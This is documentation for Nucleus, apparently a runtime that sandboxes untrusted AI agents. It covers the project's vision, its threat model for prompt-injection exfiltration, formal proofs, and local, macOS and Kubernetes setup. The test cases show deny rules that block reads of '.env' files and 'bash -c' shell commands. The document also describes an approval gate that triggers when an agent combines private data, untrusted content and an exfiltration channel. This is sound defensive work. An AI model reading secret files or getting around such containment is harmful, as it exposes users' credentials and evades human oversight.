Keyboard shortcuts

Press or to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

Nucleus Documentation

Nucleus is a capability-based runtime for running untrusted agents with explicit policy and hardened execution paths.

Use the sections below to explore the architecture, threat model, and integration notes.

Nucleus North Star

Vision

Nucleus makes “agent jailbreak → silent damage” provably impossible by construction, while remaining frictionless enough that small dev teams adopt it like a linter.

Assume the agent is compromised. Constrain what it can do anyway. Prove the constraints hold.

Flagship Safety Claim

No external side effect occurs unless it is mediated by Nucleus and authorized by a policy that can only stay the same or tighten during execution.

Corollaries:

  • No exfiltration without an explicit sink capability.
  • No “talk your way into more permissions” mid-run.
  • No untrusted content reaching a sink without an approval/declassification gate.

This is the apodictic core — logically compelled, machine-checkable, marketable.

Theoretical Foundation

This claim rests on the capability safety theorem: in an object-capability (ocap) system, authority propagates only through explicit capability references. If the enforcement boundary is capability-safe, no code inside it can acquire authority it was not granted. This connects Nucleus to a 40-year lineage (E language, KeyKOS, seL4, Capsicum) and is the formal basis for “prove the boundary, not the model.”

Three Pillars

Pillar A — Math That Survives (Kernel Semantics)

The math core is small and sharp:

  1. Capability lattice (authority) — 12-dimensional product lattice with 3-level capability states (Never/LowRisk/Always). Compare, combine, restrict permissions algebraically.

  2. Exposure lattice (trust) — 3-bool semilattice tracking private_data, untrusted_content, and exfil_vector. When all three co-occur (uninhabitable state), the operation requires explicit approval. Exposure is monotone: it never decreases.

  3. Trace semantics (time) — ordered record of actions, authority, and exposure at each step. Free monoid with homomorphic exposure accumulation.

  4. Monotonicity (ratchet) — authority can only stay the same or tighten. Budget can only decrease. Exposure can only increase. The nucleus operator ν is idempotent and deflationary.

Key design choice: prove properties about the enforcement boundary, not about LLM behavior. The agent is a black box. The kernel is the TCB.

Current state (March 2026): 297 Verus proofs verified in CI covering lattice laws, uninhabitable state operator, Heyting algebra, modal operators (S4), exposure monoid, graded monad laws, Galois connections, fail-closed auth boundary, capability coverage theorem, budget monotonicity, and delegation ceiling theorem. Phase 0-2 partially complete.

Pillar B — Formal Methods as a Product Feature

Proofs are first-class artifacts, not academic exercises:

  • Verus SMT proofs — machine-checked invariants for the Rust kernel, erased at compile time (zero runtime overhead). CI-gated minimum: 297 proofs.
  • Lean 4 model (planned) — deeper mathematical reasoning via Aeneas translation and Mathlib connections.
  • Differential testing (planned) — Cedar pattern: millions of random inputs compared between Rust engine and Lean model.
  • Public Verified Claims page — each claim maps to a proof artifact and code commit.
  • Continuous verification gates — CI fails if a change violates a proven invariant. No regression path.

Pillar C — Dead-Simple Developer Usability

A developer can get value in under 10 minutes. No lattice theory required.

  • Install with pip (Python SDK) or cargo (Rust SDK)
  • Run nucleus audit for immediate CI integration
  • Wrap a workflow in a “safe session” with 10 lines of code
  • Choose from built-in profiles, never think about lattices

Product Surface

One mental model across all entry points, with value at every tier:

Tier 0: nucleus audit

Fast value, no runtime required:

  • Scan repo settings, MCP configs, agent configurations
  • Emit PR comments / SARIF
  • Generate a minimal safe profile + allowlist snippet
  • PLG funnel entry: teams adopt this before committing to a runtime

Tier 0.5: nucleus observe

Bridge from “I don’t know what my agent does” to “here’s a tight profile”:

  • Run alongside an existing agent, record all tool calls and side effects
  • Suggest a minimal capability lattice policy based on observed behavior
  • Output is formal (a lattice policy), not statistical (a behavioral baseline)
  • Differentiator from ARMO: prescriptive output, not behavioral baseline

Tier 1: nucleus run --local

Immediate felt safety:

  • All side effects go through a local proxy
  • No direct agent access except via the mediated gateway
  • Approval prompts for risky actions (uninhabitable state triggers)
  • Same policy language as Tier 2

Tier 2: nucleus run --vm

Hard containment:

  • Firecracker microVM boundary (Firecracker-based isolation)
  • Default-deny egress, allowlisted DNS/hosts
  • gRPC tool proxy inside the VM, SPIFFE workload identity
  • Same policy language, same traces, same proofs
  • Target: <500ms cold start via pre-warmed VM pools

Dev usability does not wait for Tier 2. But Tier 2 is the “serious people” finish line.

MCP Mediation (cross-tier)

MCP is the de facto agent-tool protocol. Nucleus is an MCP-aware mediator:

  • Interposes on MCP tool calls, applies capability checks, records traces
  • nucleus run accepts MCP server configs and proxies them through the policy engine
  • Any MCP client gets enforcement for free — no SDK adoption required
  • Current state: nucleus-mcp crate provides Claude Code ↔ tool-proxy bridging. Extend to general MCP mediation.

The Python SDK

The “Hello World” experience should feel like requests + pathlib, not like configuring SELinux.

SDK Principles

  • A developer should never need to think about lattices
  • Unsafe actions are impossible to express without explicit approval steps
  • Audit traces are produced automatically
  • Intent-based API maps to built-in profiles

Example

from nucleus import Session, approve
from nucleus.tools import fs, net, git

with Session(profile="safe_pr_fixer") as s:
    readme = fs.read("README.md")           # ok
    fs.write("README.md", readme + "\n")    # ok (scoped)

    # risky: outbound fetch — explicit gate
    page = approve("fetch", net.fetch, "https://example.com")

    # forbidden: publish
    git.push("origin", "main")              # raises PolicyDenied

SDK Ships With

  • Profiles: safe_pr_fixer, doc_editor, test_runner, triage_bot, code_review, codegen, release, research_web, read_only, local_dev
  • Typed handles: FileHandle, NetResponse, CommandOutput that carry exposure metadata
  • Exceptions: PolicyDenied, ApprovalRequired, BudgetExceeded, StateBlocked
  • Trace export: session.trace.export_jsonl()

Current state (March 2026): Draft Python SDK at sdk/python/ with intent-first API, mTLS/SPIFFE auth, and tool wrappers for fs/git/net. Functional for direct tool-proxy connections.

The Kernel Boundary

The agent process must not have ambient authority.

No direct egress. No direct filesystem beyond what is mediated. No token leaks.

The kernel is the only place where:

  • Decisions are made (capability check)
  • Approvals are validated (uninhabitable state gate)
  • Traces are recorded (audit log)
  • Exposure is tracked (monotone accumulation)

This is what makes formal verification tractable: the TCB is small (~10-15K LOC of verified Rust), and every path through it either enforces the lattice or panics. No fail-open. No silent degradation.

┌─────────────────────────────────────────────────────┐
│  Verified Core (Verus)              ~10-15K LOC     │
│  ├── portcullis lattice engine     297 proofs       │
│  ├── exposure guard + uninhabitable state        proven monotone  │
│  ├── permission enforcement        fail-closed      │
│  └── sandbox boundary              proven panics    │
├─────────────────────────────────────────────────────┤
│  Formal Model (Lean 4 via Aeneas)  planned          │
│  ├── lattice algebra               Mathlib links    │
│  ├── Heyting adjunction            Lean 4 proofs    │
│  └── graded monad laws             Lean 4 proofs    │
├─────────────────────────────────────────────────────┤
│  Differential Testing              planned          │
│  ├── Rust engine vs Lean model     cargo fuzz       │
│  └── AutoVerus proof generation    CI-gated         │
├─────────────────────────────────────────────────────┤
│  Runtime (standard Rust)           ~70K LOC         │
│  ├── gRPC, tokio, tonic            Kani checks      │
│  ├── Firecracker + SPIFFE          integration      │
│  └── Tool proxy, audit, MCP        proptest         │
└─────────────────────────────────────────────────────┘

Competitive Positioning

                    Formal Guarantees
                         ▲
                         │
                         │  ★ Nucleus (target)
                         │
    Papers ●             │
    (no product)         │
                         │
         AgentSpec ●     │
                         │
    ─────────────────────┼──────────────────► Dev Usability
                         │
              ARMO ●     │         E2B ●
                         │     Daytona ●
              CodeGate ● │  microsandbox ●
                         │

Why Not X?

AlternativeWhat it doesWhat it lacks
E2B / Daytona / microsandboxRun code in Firecracker/DockerNo policy, no capability model, no exposure, no proofs. Ambient authority inside the box.
AgentSpec (ICSE 2026)DSL for runtime rule enforcementAd-hoc rules, not lattice-based. No monotonicity guarantee. Rules are LLM-generated (95% precision — 5% are wrong).
ARMOeBPF observe → baseline → enforceBehavioral, not prescriptive. Must allow bad behavior before blocking it. No formal guarantees.
Google Agent Sandbox (GKE)Pre-warmed VM pools, fast launchInfrastructure-level only. No policy language, no exposure, no proofs.
CodeGateFirecracker + locked pip installsSingle-purpose (supply chain). No general policy engine.

Nucleus’s five differentiators:

  1. Capability lattice with monotonicity proof — authority is a mathematical ratchet, not a config file.
  2. Exposure tracking with uninhabitable state gate — information flow control that blocks exfiltration by construction.
  3. “Prove the boundary, not the model” — verify the enforcement kernel (tractable, seL4-style), not LLM behavior (impossible).
  4. Tiered value deliverynucleus audit gives value before any runtime commitment. Audit-first PLG funnel.
  5. Vendor-agnostic by design — self-hosted runtime any orchestrator can target. No cloud lock-in.

What to Learn From the Field

  • E2B’s SDK ergonomicspip install + 3 lines = sandbox. Match this simplicity.
  • ARMO’s progressive enforcement — the observe → baseline → enforce UX is excellent for teams that don’t know what policy to write. nucleus observe adopts this pattern but outputs formal policies, not behavioral baselines.
  • microsandbox’s MCP integration — MCP-native runtime is table-stakes. Nucleus must be an MCP-aware mediator.
  • AgentSpec’s DSL readability — trigger/predicate/action patterns are ergonomic. Policy authoring should be at least as readable.
  • Google’s pre-warmed pools — sub-second cold start is an infrastructure requirement for Tier 2.

Formal Methods Ladder

Each rung is shippable independently.

Rung 1 — Verus SMT Proofs (in progress)

  • 297 proofs verified in CI (minimum gate)
  • Covers: lattice laws, uninhabitable state operator, Heyting algebra, S4 modal operators, exposure monoid, graded monad laws, Galois connections, fail-closed auth, capability coverage, budget monotonicity, delegation ceiling
  • Key finding from proofs: nucleus operator ν is NOT monotone (proven counterexample — uninhabitable state fires for y but not x). This was discovered by the proofs, not by tests. The proofs are working.

Rung 2 — Lean 4 Model (planned, Phase 1)

  • Translate portcullis to Lean 4 via Aeneas
  • Link to Mathlib for established algebraic structures
  • Deeper reasoning: induction over recursive structures, higher-order properties that SMT solvers struggle with

Rung 3 — Differential Testing (planned, Phase 3)

  • Cedar pattern: Rust engine vs Lean model on millions of random inputs
  • Catches: serialization boundaries, encoding issues, discrepancies between verified model and production code
  • CI-gated: every PR checked against the formal model

Rung 4 — Extended TCB Verification (planned, Phase 4)

  • Sandbox boundary, credential handling, tool proxy
  • Kani bounded model checking for arithmetic paths
  • Goal: full TCB machine-checked end to end

Rung 5 — TCB Minimization

The moonshot is not “prove all the code.” The moonshot is: make the proven kernel tiny enough that proving it is realistic. This is how seL4 thinking wins: reduce the surface you must trust.

Supply Chain Integrity (Exposure Tracking Use Case)

The exposure lattice has a concrete day-one demo: supply chain safety.

  • Package installs from untrusted registries carry untrusted_content exposure
  • Exposed dependencies cannot reach sinks (network, filesystem writes) without explicit approval
  • Combined with exfil_vector exposure on git push / network egress, the uninhabitable state gate blocks dependency-confusion attacks by construction
  • This is what CodeGate does with a bespoke tool. Nucleus does it as a natural consequence of the exposure lattice.

Success Criteria

Dev Adoption

  • A team gets value in < 10 minutes
  • pip install nucleus + nucleus audit produces:
    • a clear pass/fail in CI
    • a minimal safe profile suggestion
    • an MCP allowlist snippet
  • nucleus observe generates a first-pass policy from 30 minutes of agent observation

Security

  • “No direct agent calls except via proxy” is enforceable and demonstrable
  • Traces are replayable and tamper-evident enough for incident review
  • A red-team attempt produces a PolicyDenied or an approval request — not a leak

Formal Methods

  • Public “Verified Claims” matrix:
    • Claim → Proof artifact → Code hash
  • CI fails if a change violates the proven model
  • Verus proof count is monotonically non-decreasing (ratchet on proof count)

Performance

  • Tier 2 cold start: <500ms with pre-warmed pools
  • Policy evaluation overhead: <1ms per decision
  • Exposure tracking overhead: negligible (3-bool join)

Iteration Plan

PR-sized increments that ship value while converging on the moonshot:

PRScopeShips
PR0North Star + Verified Claims docThis document, claims table, threat model
PR1Python SDK skeletonSession, exceptions, trace export, local proxy wiring
PR2Policy schema + canonical profilesTiny stable policy surface, “break the uninhabitable state” defaults
PR3Minimal kernel decision engineComplete mediation for file/net/exec/publish, monotone session state
PR4Exposure plumbingExposure on handles, exposed-to-sink gating + approval
PR5Executable spec + model checkingLock semantics early, prevent drift
PR6Proofs of the core invariantsMonotonicity + source-sink safety
PR7nucleus observeProgressive discovery mode, formal policy output
PR8MCP mediation layerGeneral MCP interposition, not just Claude Code bridging
PR9VM mode hardeningShrink ambient authority further, pre-warmed pools, <500ms target
PR10Attenuation tokensDelegation that can only reduce power, “no escalation” cryptographically natural

The North Star Sentence

Nucleus is a runtime that makes it impossible for an agent to do something dangerous unless you explicitly gave it the power — and that boundary is small enough to prove.

Others sandbox the agent. Nucleus proves the sandbox holds.

Why Rust

Rust is the only language that satisfies all four requirements simultaneously:

  1. Near-C performance — zero-cost abstractions, no GC, deterministic latency inside Firecracker microVMs
  2. Modern type system — algebraic data types, pattern matching, traits, async/await, package ecosystem
  3. Formal verification — Verus (SMT-based, SOSP 2025 Best Paper), Aeneas (Rust → Lean 4), Kani (bounded model checking), hax (Rust → F*)
  4. Safety certification — Ferrocene qualified at ISO 26262 ASIL-D, IEC 61508 SIL 4, IEC 62304 Class C

Precedents

  • AWS Nitro Isolation Engine — formally verified Rust hypervisor (Verus + Isabelle/HOL). Deployed at AWS scale on Graviton5.
  • Atmosphere microkernel (SOSP 2025 Best Paper) — L4-class microkernel verified with Verus. 7.5:1 proof-to-code ratio.
  • AWS Cedar — formally verified authorization engine. Rust + Lean + differential testing. 1B auth/sec. Our architectural template.
  • libcrux — formally verified post-quantum crypto in Rust via hax → F*. Shipping in Firefox.
  • AutoVerus (OOPSLA 2025) — LLM agents auto-generate Verus proofs. 137/150 tasks proven, >90% automation rate.

References

Local Testing Quickstart

Test Nucleus permission enforcement locally without Kubernetes or Firecracker.

Prerequisites

  • Rust toolchain (1.75+)
  • curl and jq for testing

1. Build the Tool Proxy

cargo build -p nucleus-tool-proxy --release

2. Start the Tool Proxy

./target/release/nucleus-tool-proxy \
  --spec examples/openclaw-demo/pod.yaml \
  --listen 127.0.0.1:8080 \
  --auth-secret demo-secret \
  --approval-secret approval-secret \
  --audit-log /tmp/nucleus-demo-audit.log

The demo profile includes the uninhabitable state (read + web + bash), so all bash commands require approval.

3. Test Permission Enforcement

Create a helper function for signed requests:

nucleus_call() {
  local ENDPOINT=$1
  local BODY=$2
  local TIMESTAMP=$(date +%s)
  local ACTOR="test"
  local MESSAGE="${TIMESTAMP}.${ACTOR}.${BODY}"
  local SIGNATURE=$(echo -n "${MESSAGE}" | openssl dgst -sha256 -hmac "demo-secret" | awk '{print $2}')

  curl -s -X POST "http://127.0.0.1:8080/v1/${ENDPOINT}" \
    -H "Content-Type: application/json" \
    -H "X-Nucleus-Timestamp: ${TIMESTAMP}" \
    -H "X-Nucleus-Actor: ${ACTOR}" \
    -H "X-Nucleus-Signature: ${SIGNATURE}" \
    -d "${BODY}"
}

Test Cases

Read allowed file (should succeed):

nucleus_call "read" '{"path":"README.md"}' | jq -r '.contents[:100]'
# Output: # Nucleus...

Read sensitive file (should be blocked):

nucleus_call "read" '{"path":".env"}' | jq '.error'
# Output: "nucleus error: access denied: path '.env' blocked by policy"

Run git status (requires approval due to uninhabitable state):

nucleus_call "run" '{"command":"git status"}' | jq '.'
# Output: {"error":"nucleus error: approval required...","kind":"approval_required"}

Run bash -c (blocked by command policy + uninhabitable state):

nucleus_call "run" '{"command":"bash -c \"echo hi\""}' | jq '.kind'
# Output: "approval_required"

4. Verify Audit Log

cat /tmp/nucleus-demo-audit.log | jq '{event, subject, result}'

Each entry includes:

  • Hash-chained integrity (prev_hash, hash)
  • HMAC signature (signature)
  • Actor tracking

Expected Results

TestExpectedReason
Read README.mdSuccessAllowed path
Read .envBlockedSensitive path pattern
git statusApproval requiredUninhabitable state active (read + web + bash)
bash -cApproval requiredShell interpreter blocked + uninhabitable state

Why Uninhabitable state Triggers

The demo profile has:

  • read_files: Always (private data access)
  • web_fetch: LowRisk (untrusted content)
  • run_bash: LowRisk (exfiltration vector)

All three legs of the “uninhabitable state” are present, so Nucleus automatically requires approval for exfiltration operations (run_bash, git_push, create_pr).

This protects against prompt injection attacks that could steal secrets via web content.

Test with Network-Isolated Profile

For testing without uninhabitable state protection, use the codegen profile which has no web access:

# codegen-pod.yaml
apiVersion: nucleus/v1
kind: Pod
metadata:
  name: codegen-test
spec:
  work_dir: .
  timeout_seconds: 3600
  policy:
    type: profile
    name: codegen
./target/release/nucleus-tool-proxy \
  --spec codegen-pod.yaml \
  --listen 127.0.0.1:8080 \
  --auth-secret demo-secret \
  --approval-secret approval-secret \
  --audit-log /tmp/codegen-audit.log

With codegen, bash commands will succeed without approval (no uninhabitable state because web_fetch: Never).


Next Steps

macOS Quickstart

This guide walks you through setting up Nucleus on macOS with full Firecracker microVM isolation.

For M3/M4 Mac with macOS 15+, get started instantly:

curl -fsSL https://raw.githubusercontent.com/coproduct-opensource/nucleus/main/scripts/install.sh | bash

This will:

  • Install Lima (if not present)
  • Download pre-built binaries and rootfs
  • Create a Lima VM with nested virtualization
  • Configure secrets in macOS Keychain
  • Start nucleus-node

After installation, verify with:

nucleus doctor
nucleus run "uname -a"  # Should print: Linux ... aarch64 GNU/Linux

Manual Installation

If you prefer manual setup or need to customize the installation, follow the steps below.

Prerequisites

All Macs

  • macOS 13+ (macOS 15+ recommended for nested virtualization)
  • Lima 2.0+ (brew install lima) - required for nested virtualization support
  • Rust toolchain (for building nucleus binaries)
  • cross (cargo install cross) for cross-compiling Linux binaries

Note: Docker Desktop is not required. Lima VMs include Docker, so rootfs images are built inside the VM.

Verify Lima version:

limactl --version
# Should show: limactl version 2.0.0 or higher

Intel Mac Additional Requirements

Intel Macs require QEMU for the Lima VM (Apple Virtualization.framework only supports ARM64):

# Install QEMU
brew install qemu

# Fix cross-rs toolchain issue (required for cross-compilation)
rustup toolchain install stable-x86_64-unknown-linux-gnu --force-non-host

Note: Intel Macs cannot use hardware-accelerated nested virtualization. Firecracker microVMs will run via QEMU emulation, which is slower but fully functional.

Optimal Setup (Apple Silicon M3/M4)

For the best experience with native nested virtualization:

  • Apple M3 or M4 chip
  • macOS 15 (Sequoia) or newer

This combination provides hardware-accelerated KVM inside the Lima VM, giving near-native performance for Firecracker microVMs.

If you have an M3 or M4 Mac running macOS 15+, you get native Firecracker performance with full KVM acceleration.

Verify Your Setup

nucleus doctor

Look for these indicators of full native support:

Platform
--------
[OK] Operating System: macos (aarch64)
[OK] Apple Chip: M4 (nested virt supported)
[OK] macOS Version: 15.2 (nested virt supported)

Lima VM
-------
[OK] Lima installed: yes
[OK] nucleus VM: running
[OK] KVM in VM: /dev/kvm available (native Firecracker performance)
[OK] Firecracker: Firecracker v1.14.1

If you see [WARN] KVM in VM: /dev/kvm not available, you’re running in emulation mode.

Why M3/M4 Matters

FeatureM1/M2M3/M4 + macOS 15+
Lima VMNative (vz)Native (vz)
/dev/kvmEmulatedHardware accelerated
Firecracker boot~2-3 seconds~100-200ms
microVM performanceEmulatedNear-native

Testing the Full Stack

# 1. Setup (creates Lima VM with nested virt)
nucleus setup

# 2. Verify KVM is available (should show "native Firecracker performance")
limactl shell nucleus -- ls -la /dev/kvm
# Should show: crw-rw-rw- 1 root kvm ...

# 3. Start nucleus
nucleus start

# 4. Run test workload
nucleus run "uname -a"
# Should show: Linux ... aarch64 GNU/Linux

# 5. Verify Firecracker process (if you have tasks running)
limactl shell nucleus -- ps aux | grep firecracker

Troubleshooting M3/M4

IssueCauseSolution
KVM not availablemacOS < 15Upgrade to macOS 15 (Sequoia)
KVM not availableLima using QEMUDelete VM and run nucleus setup --force
Slow microVM startFalling back to emulationCheck limactl info nucleus shows vmType: vz
Nested virt disabledLima config issueVerify nestedVirtualization: true in lima.yaml

Verifying Nested Virtualization

# Check Lima VM configuration
limactl info nucleus | grep -E "(vmType|nestedVirt)"
# Should show:
#   vmType: vz
#   nestedVirtualization: true

# Check KVM inside VM
limactl shell nucleus -- test -c /dev/kvm && echo "KVM OK" || echo "KVM missing"

Architecture

┌─────────────────────────────────────────────────────────────────┐
│  macOS Host                                                     │
│  ┌───────────────────────────────────────────────────────────┐ │
│  │  Lima VM (Apple Virtualization.framework)                 │ │
│  │  ┌─────────────────────────────────────────────────────┐ │ │
│  │  │  nucleus-node (orchestrator)                        │ │ │
│  │  │    ↓                                                │ │ │
│  │  │  ┌─────────────┐  ┌─────────────┐                  │ │ │
│  │  │  │ Firecracker │  │ Firecracker │  ... (microVMs)  │ │ │
│  │  │  │ ┌─────────┐ │  │ ┌─────────┐ │                  │ │ │
│  │  │  │ │guest-   │ │  │ │guest-   │ │                  │ │ │
│  │  │  │ │init →   │ │  │ │init →   │ │                  │ │ │
│  │  │  │ │tool-    │ │  │ │tool-    │ │                  │ │ │
│  │  │  │ │proxy    │ │  │ │proxy    │ │                  │ │ │
│  │  │  │ └─────────┘ │  │ └─────────┘ │                  │ │ │
│  │  │  └─────────────┘  └─────────────┘                  │ │ │
│  │  └─────────────────────────────────────────────────────┘ │ │
│  │  /dev/kvm (nested virtualization)                        │ │
│  └───────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘

Quick Start

1. Install Dependencies

# Install Lima
brew install lima

# Install cross for cross-compilation
cargo install cross

2. Setup Environment

# Run setup (creates Lima VM, secrets, config)
nucleus setup

This will:

  • Detect your Mac’s chip (Intel vs Apple Silicon)
  • Create a Lima VM with the appropriate architecture
  • Download Firecracker and kernel for that architecture
  • Generate secrets in macOS Keychain
  • Create configuration at ~/.config/nucleus/config.toml

3. Build Rootfs

# Cross-compile binaries for the rootfs
./scripts/cross-build.sh

# Build rootfs in Lima VM (Lima includes Docker - no Docker Desktop needed!)
limactl shell nucleus -- make rootfs

The rootfs build happens inside the Lima VM which has Docker pre-installed. Secrets are injected at runtime via kernel command line - they’re not baked into the rootfs image.

4. Install nucleus-node

# Option A: Copy cross-compiled binary
limactl cp target/aarch64-unknown-linux-musl/release/nucleus-node nucleus:/usr/local/bin/

# Option B: Build inside VM (slower)
limactl shell nucleus -- cargo build --release -p nucleus-node
limactl shell nucleus -- sudo cp target/release/nucleus-node /usr/local/bin/

5. Start Nucleus

# Start nucleus-node service
nucleus start

# Output:
# Nucleus is running!
# HTTP API: http://127.0.0.1:8080
# Metrics:  http://127.0.0.1:9080

6. Run Tasks

# Run a task with enforced permissions
nucleus run "Review the code in src/main.rs"

7. Stop Nucleus

# Stop nucleus-node (keeps VM running)
nucleus stop

# Stop nucleus-node AND the VM (saves resources)
nucleus stop --stop-vm

Platform Support

PlatformVM TypeKVMPerformance
M3/M4 + macOS 15+vz (native)NestedFast
M1/M2 + macOS 15+vz (native)EmulatedMedium
M1-M4 + macOS <15vz (native)EmulatedMedium
Intel MacQEMU (x86_64)EmulatedSlow

Security Model

Nucleus provides two layers of VM isolation:

Layer 1: Lima VM

  • Apple Virtualization.framework (Apple Silicon) or QEMU (Intel)
  • Isolates the Firecracker orchestrator from macOS
  • Managed by Lima with port forwarding

Layer 2: Firecracker microVMs

  • Minimal device model (5 virtio devices)
  • Each task runs in its own microVM
  • Read-only rootfs with scratch volume

Network Security

  • Default-deny iptables policy
  • DNS allowlist for controlled outbound access
  • No direct internet access without explicit policy

Security Claims

LayerIsolationEscape Difficulty
macOS ↔ LimaApple vz / QEMUVM escape (high)
Lima ↔ FirecrackerKVM + jailerVM escape (high)
Firecracker ↔ AgentMinimal virtioKernel exploit (high)
Agent ↔ Networkiptables + allowlistPolicy bypass (medium)

Troubleshooting

“KVM not available”

This warning appears when nested virtualization isn’t working. Causes:

  • M1/M2 Macs: Don’t support nested virt (works via emulation, slower)
  • macOS < 15: Upgrade to macOS Sequoia for nested virt support
  • Intel Macs: Use QEMU emulation (slowest)

Intel Mac: “QEMU binary not found”

Install QEMU:

brew install qemu

Intel Mac: cross-rs “toolchain may not be able to run on this system”

This error occurs when cross-compiling for Linux on Intel Mac:

error: toolchain 'stable-x86_64-unknown-linux-gnu' may not be able to run on this system

Fix by installing the toolchain with the --force-non-host flag:

rustup toolchain install stable-x86_64-unknown-linux-gnu --force-non-host

See: cross-rs/cross#1687

“Lima VM failed to start”

# Check VM status
limactl list

# View VM logs
limactl shell nucleus -- journalctl -xe

# Delete and recreate
nucleus setup --force

“nucleus-node not found”

You need to install the nucleus-node binary in the VM:

# Cross-compile for the correct architecture
./scripts/cross-build.sh --arch aarch64  # or x86_64 for Intel

# Copy to VM
limactl cp target/aarch64-unknown-linux-musl/release/nucleus-node nucleus:/usr/local/bin/

Port forwarding issues

If http://127.0.0.1:8080 doesn’t respond:

# Verify port forwarding
limactl list --format '{{.Name}} {{.Status}} {{.SSHLocalPort}}'

# Check if nucleus-node is listening
limactl shell nucleus -- ss -tlnp | grep 8080

# View nucleus-node logs
limactl shell nucleus -- journalctl -u nucleus-node -f

Commands Reference

CommandDescription
nucleus setupInitial setup (Lima VM, secrets, config)
nucleus setup --forceRecreate VM and config
nucleus startStart nucleus-node service
nucleus start --no-waitStart without health check
nucleus stopStop nucleus-node
nucleus stop --stop-vmStop nucleus-node AND Lima VM
nucleus doctorDiagnose issues
nucleus run "task"Run a task

Advanced Configuration

Custom VM Resources

nucleus setup --vm-cpus 8 --vm-memory-gib 16 --vm-disk-gib 100

Rotate Secrets

nucleus setup --rotate-secrets

Skip VM Setup (manual Lima management)

nucleus setup --skip-vm

Configuration File

Edit ~/.config/nucleus/config.toml:

[vm]
name = "nucleus"
auto_start = true
cpus = 4
memory_gib = 8

[node]
url = "http://127.0.0.1:8080"

[budget]
max_cost_usd = 5.0
max_input_tokens = 100000
max_output_tokens = 10000

Kubernetes Quickstart

Deploy Firecracker-isolated AI agent sandboxes on Kubernetes with fine-grained permission control.

Why Nucleus on Kubernetes?

FeatureGoogle Agent SandboxNucleus
IsolationgVisor (syscall filter)Firecracker (hardware VM)
Attack surface~300 syscalls exposed~50K lines Rust, KVM-backed
Permission modelPod RBAC onlyLattice-guard with uninhabitable state detection
Startup time<1s (warm pool)<125ms (Firecracker)
Memory overhead~50MB~5MB per microVM

Nucleus provides hardware-level isolation with a mathematical permission model that automatically detects dangerous capability combinations (the “uninhabitable state”).


Prerequisites

  • Kubernetes cluster with Linux nodes (kernel 5.10+)
  • Nodes with /dev/kvm access (nested virt or bare metal)
  • kubectl configured

Architecture

┌─────────────────────────────────────────────────────────────┐
│                    Kubernetes Cluster                        │
├─────────────────────────────────────────────────────────────┤
│  ┌─────────────────┐  ┌─────────────────┐                   │
│  │  nucleus-node   │  │  nucleus-node   │  (DaemonSet)      │
│  │  ┌───────────┐  │  │  ┌───────────┐  │                   │
│  │  │Firecracker│  │  │  │Firecracker│  │                   │
│  │  │  microVM  │  │  │  │  microVM  │  │                   │
│  │  │┌─────────┐│  │  │  │┌─────────┐│  │                   │
│  │  ││tool-    ││  │  │  ││tool-    ││  │                   │
│  │  ││proxy    ││  │  │  ││proxy    ││  │                   │
│  │  │└─────────┘│  │  │  │└─────────┘│  │                   │
│  │  └───────────┘  │  │  └───────────┘  │                   │
│  └─────────────────┘  └─────────────────┘                   │
│           │                    │                             │
│           └────────┬───────────┘                             │
│                    ▼                                         │
│  ┌─────────────────────────────────────┐                    │
│  │         nucleus-controller          │  (Deployment)      │
│  │  - Watches NucleusSandbox CRDs      │                    │
│  │  - Schedules pods to nodes          │                    │
│  │  - Enforces permission lattice      │                    │
│  └─────────────────────────────────────┘                    │
└─────────────────────────────────────────────────────────────┘

Quick Deploy

1. Create Namespace

kubectl create namespace nucleus-system

2. Deploy nucleus-node DaemonSet

# nucleus-node-daemonset.yaml
apiVersion: apps/v1
kind: DaemonSet
metadata:
  name: nucleus-node
  namespace: nucleus-system
spec:
  selector:
    matchLabels:
      app: nucleus-node
  template:
    metadata:
      labels:
        app: nucleus-node
    spec:
      hostPID: true
      hostNetwork: true
      containers:
      - name: nucleus-node
        image: ghcr.io/coproduct-opensource/nucleus-node:latest
        securityContext:
          privileged: true  # Required for Firecracker + KVM
        env:
        - name: NUCLEUS_NODE_LISTEN
          value: "0.0.0.0:8080"
        - name: NUCLEUS_NODE_DRIVER
          value: "firecracker"
        - name: NUCLEUS_NODE_FIRECRACKER_NETNS
          value: "true"
        volumeMounts:
        - name: dev-kvm
          mountPath: /dev/kvm
        - name: pods
          mountPath: /var/lib/nucleus/pods
        ports:
        - containerPort: 8080
          hostPort: 8080
      volumes:
      - name: dev-kvm
        hostPath:
          path: /dev/kvm
      - name: pods
        hostPath:
          path: /var/lib/nucleus/pods
          type: DirectoryOrCreate
      nodeSelector:
        nucleus.io/kvm: "true"
# Label nodes with KVM support
kubectl label nodes <node-name> nucleus.io/kvm=true

# Deploy
kubectl apply -f nucleus-node-daemonset.yaml

3. Create a Sandbox

# sandbox.yaml
apiVersion: v1
kind: ConfigMap
metadata:
  name: agent-sandbox-spec
  namespace: nucleus-system
data:
  pod.yaml: |
    apiVersion: nucleus.io/v1
    kind: PodSpec
    metadata:
      name: code-review-agent
    spec:
      profile: code-review
      work_dir: /workspace
      timeout_seconds: 3600

      # Permission overrides
      capabilities:
        read_files: always
        write_files: never
        edit_files: never
        run_bash: never
        web_search: low_risk
        web_fetch: never
        git_commit: never
        git_push: never
        create_pr: never

      # Network policy
      network:
        dns_allow:
          - "api.anthropic.com:443"
          - "api.openai.com:443"

4. Launch Agent via API

# Port-forward to nucleus-node
kubectl port-forward -n nucleus-system daemonset/nucleus-node 8080:8080 &

# Create sandbox
curl -X POST http://localhost:8080/v1/pods \
  -H "Content-Type: application/yaml" \
  -d @sandbox.yaml

Permission Profiles

Nucleus includes built-in profiles for common agent patterns:

ProfileUse CaseCapabilities
read-onlyCode explorationRead files, no writes/network
code-reviewPR review agentsRead + web search for context
fix-issueBug fix agentsFull dev workflow, uninhabitable state protected
demoLive demosBlocks shell interpreters

Uninhabitable state Protection

When an agent has all three dangerous capabilities:

  1. Private data access (read_files ≥ low_risk)
  2. Untrusted content (web_fetch OR web_search ≥ low_risk)
  3. Exfiltration channel (git_push OR create_pr OR run_bash ≥ low_risk)

Nucleus automatically requires human approval for exfiltration actions. This protects against prompt injection attacks that could steal secrets.

Agent requests: git push origin main
┌─────────────────────────────────────────┐
│  ⚠️  uninhabitable state PROTECTION TRIGGERED      │
│                                         │
│  This agent has:                        │
│  ✓ Read access to files                 │
│  ✓ Web access (prompt injection risk)   │
│  ✓ Git push capability                  │
│                                         │
│  Approve this operation? [y/N]          │
└─────────────────────────────────────────┘

Comparison with Agent Sandbox

Security Model

Google Agent Sandbox uses gVisor, which intercepts syscalls in userspace:

